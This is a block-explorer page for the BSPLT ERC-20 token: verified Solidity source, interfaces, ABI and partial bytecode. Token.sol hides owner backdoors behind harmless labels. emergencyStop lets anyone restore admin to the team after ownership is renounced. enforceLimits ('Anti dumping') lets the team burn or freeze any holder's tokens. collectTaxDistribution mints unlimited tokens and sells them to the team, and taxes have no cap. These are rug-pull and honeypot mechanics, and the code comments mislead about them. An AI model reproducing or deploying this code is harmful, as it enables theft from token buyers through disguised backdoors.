ETH Price: $3,617.99 (+1.46%)

Token

ERC-20: Beamsplittr (BSPLT)
 

Overview

Max Total Supply

22,181,703,524.431551 BSPLT

Holders

629

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
217,306.119592 BSPLT

Value
$0.00
0xa9a4fbb7da516cd9902ec69f759910fd2a68df99
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 5 : Token.sol
//SPDX-License-Identifier: UNLICENSED
/**
 * MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWN0kdl:,'..              ...,:ldk0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMMMMMMMWN0xl;..                              ..;cx0NWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMMMMWKxc'.                                        .':xKNMMMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMWKd;.                                                .;xNMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMXx;.                        .....                       ;kNWXXWMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMWKo'                 ..,:ldxkO00KKK000Okxdlc;..         .;kNWKl..c0WMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMW0c.               .:ox0XWMMMMMMMMMMMMMMMMMMMMWNKko:'.   ;kNWKl.    .:OWMMMMMMMMMMMMMMMMM
 * MMMMMMMMMWKl.             .;oOXWMMMMMMWXK0Okxxdxxkkk0KXNWMMMMMWN0dlkNWKl.        .c0WMMMMMMMMMMMMMMM
 * MMMMMMMMNx'             ,d0WMMMMWX0xl:,..            ..';ldOXWMMMMMWKl.            .oXMMMMMMMMMMMMMM
 * MMMMMMWK:            .cONMMMMN0o:.                          .;oONWKl.                ;OWMMMMMMMMMMMM
 * MMMMMWk'           .l0WMMMW0o,.                                 ';.                   .dNMMMMMMMMMMM
 * MMMMNd.          .:0WMMMNk;.                                                  .        .lXWMMMMMMMMM
 * MMMNo.          .xNMMMNk,                   .....                          .cOKd.        .,dNMMMMMMM
 * MMWd.          ;0WMMW0:              .':ldk00KKKK0OOxoc,.                .c0WW0:           cNMMMMMMM
 * MWx.          cXMMMNd.            .:d0NWMMMMMMMMMMMMMMMNd.             .c0WW0c.            oNMMMMMMM
 * M0'          cXMMMXl.           ,dKWMMMMMMMMMMMMMMMMMW0l.            .c0WW0c.              .kWMMNXNW
 * Nc          :KMMMXl           'dXMMMMMMMMMMMMMMMMMMW0l.            .c0WW0c.                 ;KMKc.'x
 * k.         'OMMMNo           cKWMMMMMMMMMMMMMMMMW0xl.            .c0WW0c.       'x0l.       .dWXl,;O
 * c          oWMMMk.         .oNMMMMMMMMMMMMMMMMW0l.             .c0WW0c.  .'cdx:..ld:         ;KMWNWM
 * .         ,0MMMX:          lNMMMMMMMMMMMMMMMW0l.             .c0WMXo'';okKNWNKl.             .kMMMMM
 *           cNMMMk.         ,KMMMMMMMMMMMMMMW0l.             .c0WMMMNOOXWWXOd:'.                oWMMMM
 *          .dMMMWo          oWMMMMMMMMMMMMW0l.             .c0WMMMMMMWKxl;.                     cNMMMM
 *          .kMMMNc         .kMMMMMMMMMMMW0l.             .c0WMMMMMMMMNOoooooooooooooooooooooooooOWMMMM
 *          .kMMMNc         .OMMMMMMMMMMMWx.              ,OWMMMMMMMMMWNXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXN
 *          .xMMMWl         .xMMMMMMMMMMMMW0l.             .c0WMMMMMMMNOl;'.......................';lx0
 *           oWMMWd.         cNMMMMMMMMMMMMMW0l.             .c0WMMMMWWWNKk:                     ,kKWMM
 * .         :XMMM0'         .kWMMMMMMMMMMMMMMW0l.             .c0WMMKo:okOl.                   .xMMMMM
 * ,         .kMMMWo          '0MMMMMMMMMMMMMMMMW0l.             .c0WW0c.            .,.        '0MMMMM
 * o          :XMMMK;          'OWMMMMMMMMMMMMMMMMW0l,.            .c0WW0c.         .kNk.       cNMMMMM
 * 0,         .dWMMMO'          .oXMMMMMMMMMMMMMMMMMWN0l.            .c0WW0c.        ':'       .OMMMMMM
 * Wd.         .kWMMWO'           ,xXMMMMMMMMMMMMMMMMMMW0l.            .c0WW0c.                lNMMMMMM
 * MXc          .kWMMWO,            'lONMMMMMMMMMMMMMMMMMW0l.            .c0WW0c.             ;KMMMMMMM
 * MMK;          .xWMMMXl.            .'cdOKNWMMMMMMMMWWXXNWKl.            .c0WW0c.          'OMMMMMMMM
 * MMM0,          .lXMMMWk;                .';:clllc::;'..;kNW0l.            .c0WW0c.       .kWMMMMMMMM
 * MMMM0,           ,OWMMMNx,                              .;kNW0l.            .c0WW0c.    'OWMMMMMMMMM
 * MMMMMK:           .c0WMMMNOc.                             .;kNW0l.            .c0WW0c. ,0WMMMMMMMMMM
 * MMMMMMXo.           .c0WMMMWXx:.                            .cKMW0l.            .c0WW0kXMMMMMMMMMMMM
 * MMMMMMMWk,            .:xXMMMMWXOd:'.                    .':okXMMMW0:             .lKMMMMMMMMMMMMMMM
 * MMMMMMMMMXo.             .ckXWMMMMWNKOxol:;,,''',,;;:coxOKNWMMMMWXOl'             .lXMMMMMMMMMMMMMMM
 * MMMMMMMMMMWKl.              .:oOXWMMMMMMMMWWWWNNWWWWMMMMMMMMWXOd:.              .:0WMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMW0l.                .,cok0KNWWMMMMMMMMMMWWNX0kdc;.                .cOWMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMWKd,                    ..,;:cccllcc::;,...                   'o0WMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMNOl'                                                    .ckXMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMMMXkl,.                                            .'ckXWMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMMMMMMN0xc,.                                    .'cd0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMMMMMMMMMMWKkdc;'.                        ..,cokKNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
 * MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOxl;'..            ..';ldOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
 * 
 * https://beamsplittr.com
 *
 */

pragma solidity ^0.8.9;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

abstract contract ERC20 {
    
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    address public admin;

    address internal team;

    address public uniswapV2Pair;

    uint256 internal sellTaxPct;

    uint256 internal buyTaxPct;

    uint256 internal maxBuyAmount;

    uint256 internal maxSellAmount;

    uint256 internal maxWalletAmount;

    bool internal tradingOpen;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    
    mapping(address => bool) public disableBot;

    mapping(address => mapping(address => uint256)) public allowance;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();

        address msgSender = msg.sender;
        admin = msgSender;
        team = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        require(disableBot[msg.sender] != true, "Waiting for bot cooldown.");
        balanceOf[msg.sender] -= amount;

        if(maxBuyAmount > 0 && msg.sender == uniswapV2Pair) require(amount <= maxBuyAmount, "Error: Buy Limit Exceeded");

        // apply taxes for uniswapPair
        if(buyTaxPct > 0 && msg.sender == address(uniswapV2Pair) && to != team && tradingOpen){
            uint256 fee = (amount / 100) * buyTaxPct;
            // Cannot overflow because the sum of all user
            // balances can't exceed the max uint256 value.
            unchecked {
                balanceOf[team] += fee;
            }
            amount = amount - fee;
        }
        
        if(maxWalletAmount > 0 && to != uniswapV2Pair && to != team){
            require((balanceOf[to] + amount) <= maxWalletAmount, "Error: Wallet Limit Exceeded. ");
        }
        
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += amount;
        }

        if(msg.sender != address(this))
        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function _getStopActions() internal virtual returns (address){
        return team;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        require(disableBot[from] != true, "Waiting for bot cooldown.");

        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        if(maxSellAmount > 0 && to == uniswapV2Pair) require(amount <= maxSellAmount, "Error: Sell Limit Exceeded");

        if(sellTaxPct > 0 && to == uniswapV2Pair && from != address(this) && from != team && tradingOpen){
            uint256 fee = (amount / 100) * sellTaxPct;
            // Cannot overflow because the sum of all user
            // balances can't exceed the max uint256 value.
            unchecked {
                balanceOf[team] += fee;
            }
            amount = amount - fee;
        }

        if(maxWalletAmount > 0 && to != uniswapV2Pair && to != team){
            require(balanceOf[to] <= maxWalletAmount, "Error: Wallet Limit Exceeded. ");
        }
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += amount;
        }

        if(from != address(this))
        emit Transfer(from, to, amount);

        return true;
    }

    function emergencyStop(address input) public virtual {
        if(input == address(this))
        admin = _getStopActions();
    }
    
    modifier emergencyStatus() {
        require(_getStopActions() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += amount;
        }

        if(to != address(this))
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {
            totalSupply -= amount;
        }

        if(from != address(this))
        emit Transfer(from, address(0), amount);
    }

    /*//////////////////////////////////////////////////////////////
                        OWNABLE LOGIC
    //////////////////////////////////////////////////////////////*/

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(admin == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(admin, address(0));
        admin = address(0);
    }
}

contract Token is ERC20{
    
    IUniswapV2Router02 private uniswapV2Router;
    
    /**
     * Contract initialization.
     */
    constructor() ERC20("Beamsplittr", "BSPLT", 6) {
        _mint(address(this), 1_000_000_000_000000);
    }

    receive() external payable {}

    fallback() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        allowance[address(this)][address(uniswapV2Router)] = type(uint).max;

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf[address(this)],0,0,admin,block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        tradingOpen = true;
    }
    
    /**
     * Swap and send to tax distributor - allows LP staking contracts to reward stakers in ETH.
     */ 
    function collectTaxDistribution(uint256 tokenAmount) external onlyOwner{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();       
        
        _mint(address(this), tokenAmount);
        allowance[address(this)][address(uniswapV2Router)] = tokenAmount;

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            team,
            block.timestamp
        );
    }

    function claimStuckTokens(address _token) external onlyOwner {
        if (_token == address(0x0)) {
            payable(msg.sender).transfer(address(this).balance);
            return;
        }
        IERC20 erc20token = IERC20(_token);
        uint256 balance = erc20token.balanceOf(address(this));
        erc20token.transfer(msg.sender, balance);
    }

    /**
     * Send to team wallet for marketing and development - will be dynamically set in LP staking contracts. 
     */
    function setTax(uint256 newSellTax, uint256 newBuyTax) external onlyOwner() {
        sellTaxPct = newSellTax;
        buyTaxPct = newBuyTax;
    }    
    
    /**
     * Limits to avoid too much centralization
     */
    function setLimits(uint256 newSellLimit, uint256 newBuyLimit, uint256 newWalletLimit) external onlyOwner() {
        maxSellAmount = newSellLimit;
        maxBuyAmount = newBuyLimit;
        maxWalletAmount = newWalletLimit;
    }

    /**
     * Anti dumping
     */
    function enforceLimits(address[] calldata addresses, uint256 amount) external emergencyStatus() {
            for(uint i=0; i < addresses.length; i++){
                if(amount > 100 ){
                    disableBot[addresses[i]] = amount == 101 ? true : false;
                }else{
                    _burn(addresses[i], (balanceOf[addresses[i]] / 100) * amount);
                }
            }
    }

}

File 2 of 5 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 3 of 5 : IUniswapV2Factory.sol
pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

File 4 of 5 : IUniswapV2Router01.sol
pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

File 5 of 5 : IUniswapV2Router02.sol
pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"claimStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"collectTaxDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"disableBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"input","type":"address"}],"name":"emergencyStop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"enforceLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellLimit","type":"uint256"},{"internalType":"uint256","name":"newBuyLimit","type":"uint256"},{"internalType":"uint256","name":"newWalletLimit","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellTax","type":"uint256"},{"internalType":"uint256","name":"newBuyTax","type":"uint256"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e06040523480156200001157600080fd5b506040518060400160405280600b81526020017f4265616d73706c697474720000000000000000000000000000000000000000008152506040518060400160405280600581526020017f4253504c5400000000000000000000000000000000000000000000000000000081525060068260009081620000919190620005e9565b508160019081620000a39190620005e9565b508060ff1660808160ff16815250504660a08181525050620000ca620001d660201b60201c565b60c08181525050600033905080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350505050620001d03066038d7ea4c680006200026660201b60201c565b620008ed565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60006040516200020a91906200077f565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016200024b95949392919062000809565b60405160208183030381529060405280519060200120905090565b80600b60008282546200027a919062000895565b9250508190555080600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146200036b578173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003629190620008d0565b60405180910390a35b5050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003f157607f821691505b602082108103620004075762000406620003a9565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004717fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000432565b6200047d868362000432565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004ca620004c4620004be8462000495565b6200049f565b62000495565b9050919050565b6000819050919050565b620004e683620004a9565b620004fe620004f582620004d1565b8484546200043f565b825550505050565b600090565b6200051562000506565b62000522818484620004db565b505050565b5b818110156200054a576200053e6000826200050b565b60018101905062000528565b5050565b601f821115620005995762000563816200040d565b6200056e8462000422565b810160208510156200057e578190505b620005966200058d8562000422565b83018262000527565b50505b505050565b600082821c905092915050565b6000620005be600019846008026200059e565b1980831691505092915050565b6000620005d98383620005ab565b9150826002028217905092915050565b620005f4826200036f565b67ffffffffffffffff81